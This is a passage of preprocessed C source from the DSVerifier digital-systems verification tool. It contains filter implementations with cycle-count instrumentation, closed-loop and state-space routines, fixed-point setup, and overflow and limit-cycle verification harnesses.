generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 123 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
